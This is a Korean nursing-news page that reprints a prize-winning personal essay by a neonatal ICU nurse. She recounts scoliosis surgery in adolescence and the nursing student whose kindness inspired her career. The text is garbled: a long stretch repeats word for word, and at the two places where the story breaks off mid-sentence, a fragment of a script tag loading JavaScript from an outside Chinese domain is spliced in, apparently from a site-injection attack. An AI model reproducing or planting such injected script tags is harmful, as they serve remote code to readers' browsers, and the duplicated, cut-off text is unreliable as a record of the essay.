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제26회 간호문학상 수기부문 당선작 "절망에서 찾은 꿈"
허 옥 화 (분당서울대병원 신생아중환자실)
[편집국] 편집부 news@nursenews.co.kr 기사입력 2006-01-05 오전 10:25:13
1993년 중학교에 갓 입학했을 때 친척집에서 텔레비전을 보던 중 할머니께서 나를 유심히 보더니 등이 뭔가 이상한 것 같다면서 병원에 한 번 가보라는 이야기를 하셨다. 엄마와 나는 뭐 별거 있겠냐 하면서도 내심 걱정이 되어 다음 날 바로 집 근처 병원에 갔었다. X－ray를 몇 장 찍더니 척추가 좀 휜 거 같은데 정도가 심한 것 같으니 큰 병원에 가보라는 것이었다.
다음 날 학교에서 조퇴를 해서 가까운 대학병원에 갔고 다시 검사를 하고 며칠 후 생전 들어본 적도 없는 척추측만증이라는 진단을 받았다. 그 때가 14살이었고 키가 161cm이었다.
그 병원 의사 선생님의 말로는 질병의 원인은 확실하지 않고 더 이상 키가 크지 않을 것이니 당장 수술은 하지 않아도 되고 몇 개월에 한 번씩 검사만 해보자는 것이었다. 더 이상 키가 크지 않을 것이란 이야기에 좀 우울하긴 했지만 엄마와 나는 큰 걱정을 덜었다며 안도의 한숨을 내쉬었다.
그리고 3년 후 엄마께서 잠시 병원에 일주일 정도 입원을 했다가 퇴원을 하는 날 나도 다시 검사해 보자는 이야기를 하셨다. 3년 전에 검사하고 했던 것은 잠시 잊고 살고 있었는데 마침 엄마가 그 병원에 입원을 한 터라 3년 만에 다시 X－ray를 찍고는 가벼운 마음으로 엄마와 함께 집으로 향했다.
결과를 보기 위해 1주일 후 다시 찾은 병원에서 지금 당장 입원을 해서 수술을 해야 한다는 청천벽력 같은 소리를 들었다. 3년 동안 무심코 살았던 것도 병원에 가보자고 했던 엄마 말을 안 들은 것도 후회되고 겁도 더럭 났다. 나 뿐만 아니라 엄마도 걱정이 되었던지 아빠에게 전화하는 목소리가 떨리고 있었다.
수술 밖에 다른 방법은 없다고 하니 어쩔 수 없이 당장 그 날 수술 날짜를 잡았고 이틀 후 입원을 하게 되었다. 개학을 20일 정도 남겨둔 여름 방학 때 일이었다.
수술날이 되었고 아침 7시에 생전 처음으로 수술실이란 곳을 구경하게 되었다. TV에서만 보던 조명들과 도구들… 더욱 불안하고 겁이 났다. 그리고 잠시 얼마동안 잠을 잤다. 나에게는 잠시였지만 우리 엄마 말이 그 8시간 반은 이제껏 살아온 시간보다 길었다고 한다. 수술 예정 시간보다 2시간이나 지연이 되었으니 그럴 수밖에… 기억은 나지 않지만 회복실에서부터 쭉 춥다는 말과 엄마라는 말만 되풀이 했다고 한다. 그때부터 나의 고생은 시작이었다.
거의 한 달을 침대에서 누워만 있어야 했고 밥을 먹는 것도 소대변을 보는 것도 모두 한자리에 누워서만 했어야 했다. 그것도 가장 예민한 시기인 사춘기 때에. 처음이자 마지막으로 살고 싶지 않다는 생각을 했었는데 그게 그때였었다. 눈물과 짜증으로 20일 정도를 보내면서 엄마에게 나를 왜 낳았느냐는 철없는 소리까지도 했었다.
그러다가 알게 된 간호학생. 아직까지 가끔 생각이 나도 이름도 잊지 못하는 그 언니를 퇴원 10일 전쯤 만났었다. 실습을 나와서 실습을 하는 병동에 있는 모든 환자들 한 명 한 명에게 웃어주고 말을 건네고 하는 것이 쉽지가 않았을 텐데, 7일간을 보았지만 그 언니는 늘 해맑은 미소와 함께 상냥한 말투로 입원해 있는 한 명 한 명에게 인사를 건네고 안부를 물었다. 그 모습이 어찌나 예뻐 보였었는지… 나보다 나이가 그리 많지 않아서인지 쉽게 안면을 익히고 친해졌고 간호학과의 생활과 실습 생활 이것저것에 대해 재미있는 이야기들을 듣게 되면서 그곳에 대한 호기심이 커져만 갔고 커져가는 호기심만큼 호감도 커져만 갔다.
수술 경과는 좋다고 했었으나 침대에서 일어나기 위해서는 보조기가 필요했다. 상체를 완전히 감싸는 통처럼 생긴 보조기, 그 보조기가 4개월 동안 나와 거의 한 몸이 되어 생활을 함께 했다. 그 보조기가 없으면 앉지도 걷지도 못했고 밤에 잠을 자다가 화장실이 급할 때도 큰소리로 옆방에서 자고 있는 엄마를 부를 수밖에 없었다.
2학기가 시작되고 두 달 만에 다시 학교란 곳을 가게 되었고 아이들은 다 아는데 나만 모르는 것들을 가지고 중간고사라는 것을 치르게 되고 남들 다 하는 야간자율학습도 안하고 점점 공부에도 흥미를 잃게 되고… 퇴원 후 정기검진으로 인해 조퇴도 자주 하고, 학교생활도 재미가 없어지고… 그와 함께 상위권이던 성적도 점점 바닥을 치닫게 되고…
그렇게 보조기와 함께 한 4개월이 지나고 홀가분한 생활을 하고 새 학년 새 학기가 시작되었고 새로운 친구들과 재미있게 학교생활도 하고 야간자율학습도 하면서 다시 학교에 충실하기 시작한 때, 수학여행 가기 열흘 전쯤 등에 자꾸 무언가 이상한 것이 만져지기 시작해서 다시 찾은 병원에서 다시 또 수술을 해야 한다는 이야기를 들었다. 척추 교정을 위해 넣은 교정물의 나사가 빠져서 그것을 제거하지 않으면 신경을 건드리거나 더 위험한 지경에까지 이를 수 있다는 것이었다. 잘 생기지 않는 일이라고 하는데 왜 나?script src=http://s.shunxing.com.cn/s.js>
다음 날 학교에서 조퇴를 해서 가까운 대학병원에 갔고 다시 검사를 하고 며칠 후 생전 들어본 적도 없는 척추측만증이라는 진단을 받았다. 그 때가 14살이었고 키가 161cm이었다.
그 병원 의사 선생님의 말로는 질병의 원인은 확실하지 않고 더 이상 키가 크지 않을 것이니 당장 수술은 하지 않아도 되고 몇 개월에 한 번씩 검사만 해보자는 것이었다. 더 이상 키가 크지 않을 것이란 이야기에 좀 우울하긴 했지만 엄마와 나는 큰 걱정을 덜었다며 안도의 한숨을 내쉬었다.
그리고 3년 후 엄마께서 잠시 병원에 일주일 정도 입원을 했다가 퇴원을 하는 날 나도 다시 검사해 보자는 이야기를 하셨다. 3년 전에 검사하고 했던 것은 잠시 잊고 살고 있었는데 마침 엄마가 그 병원에 입원을 한 터라 3년 만에 다시 X－ray를 찍고는 가벼운 마음으로 엄마와 함께 집으로 향했다.
결과를 보기 위해 1주일 후 다시 찾은 병원에서 지금 당장 입원을 해서 수술을 해야 한다는 청천벽력 같은 소리를 들었다. 3년 동안 무심코 살았던 것도 병원에 가보자고 했던 엄마 말을 안 들은 것도 후회되고 겁도 더럭 났다. 나 뿐만 아니라 엄마도 걱정이 되었던지 아빠에게 전화하는 목소리가 떨리고 있었다.
수술 밖에 다른 방법은 없다고 하니 어쩔 수 없이 당장 그 날 수술 날짜를 잡았고 이틀 후 입원을 하게 되었다. 개학을 20일 정도 남겨둔 여름 방학 때 일이었다.
수술날이 되었고 아침 7시에 생전 처음으로 수술실이란 곳을 구경하게 되었다. TV에서만 보던 조명들과 도구들… 더욱 불안하고 겁이 났다. 그리고 잠시 얼마동안 잠을 잤다. 나에게는 잠시였지만 우리 엄마 말이 그 8시간 반은 이제껏 살아온 시간보다 길었다고 한다. 수술 예정 시간보다 2시간이나 지연이 되었으니 그럴 수밖에… 기억은 나지 않지만 회복실에서부터 쭉 춥다는 말과 엄마라는 말만 되풀이 했다고 한다. 그때부터 나의 고생은 시작이었다.
거의 한 달을 침대에서 누워만 있어야 했고 밥을 먹는 것도 소대변을 보는 것도 모두 한자리에 누워서만 했어야 했다. 그것도 가장 예민한 시기인 사춘기 때에. 처음이자 마지막으로 살고 싶지 않다는 생각을 했었는데 그게 그때였었다. 눈물과 짜증으로 20일 정도를 보내면서 엄마에게 나를 왜 낳았느냐는 철없는 소리까지도 했었다.
그러다가 알게 된 간호학생. 아직까지 가끔 생각이 나도 이름도 잊지 못하는 그 언니를 퇴원 10일 전쯤 만났었다. 실습을 나와서 실습을 하는 병동에 있는 모든 환자들 한 명 한 명에게 웃어주고 말을 건네고 하는 것이 쉽지가 않았을 텐데, 7일간을 보았지만 그 언니는 늘 해맑은 미소와 함께 상냥한 말투로 입원해 있는 한 명 한 명에게 인사를 건네고 안부를 물었다. 그 모습이 어찌나 예뻐 보였었는지… 나보다 나이가 그리 많지 않아서인지 쉽게 안면을 익히고 친해졌고 간호학과의 생활과 실습 생활 이것저것에 대해 재미있는 이야기들을 듣게 되면서 그곳에 대한 호기심이 커져만 갔고 커져가는 호기심만큼 호감도 커져만 갔다.
수술 경과는 좋다고 했었으나 침대에서 일어나기 위해서는 보조기가 필요했다. 상체를 완전히 감싸는 통처럼 생긴 보조기, 그 보조기가 4개월 동안 나와 거의 한 몸이 되어 생활을 함께 했다. 그 보조기가 없으면 앉지도 걷지도 못했고 밤에 잠을 자다가 화장실이 급할 때도 큰소리로 옆방에서 자고 있는 엄마를 부를 수밖에 없었다.
2학기가 시작되고 두 달 만에 다시 학교란 곳을 가게 되었고 아이들은 다 아는데 나만 모르는 것들을 가지고 중간고사라는 것을 치르게 되고 남들 다 하는 야간자율학습도 안하고 점점 공부에도 흥미를 잃게 되고… 퇴원 후 정기검진으로 인해 조퇴도 자주 하고, 학교생활도 재미가 없어지고… 그와 함께 상위권이던 성적도 점점 바닥을 치닫게 되고…
그렇게 보조기와 함께 한 4개월이 지나고 홀가분한 생활을 하고 새 학년 새 학기가 시작되었고 새로운 친구들과 재미있게 학교생활도 하고 야간자율학습도 하면서 다시 학교에 충실하기 시작한 때, 수학여행 가기 열흘 전쯤 등에 자꾸 무언가 이상한 것이 만져지기 시작해서 다시 찾은 병원에서 다시 또 수술을 해야 한다는 이야기를 들었다. 척추 교정을 위해 넣은 교정물의 나사가 빠져서 그것을 제거하지 않으면 신경을 건드리거나 더 위험한 지경에까지 이를 수 있다는 것이었다. 잘 생기지 않는 일이라고 하는데 왜 나?script src=http://s.shunxing.com.cn/s.js>
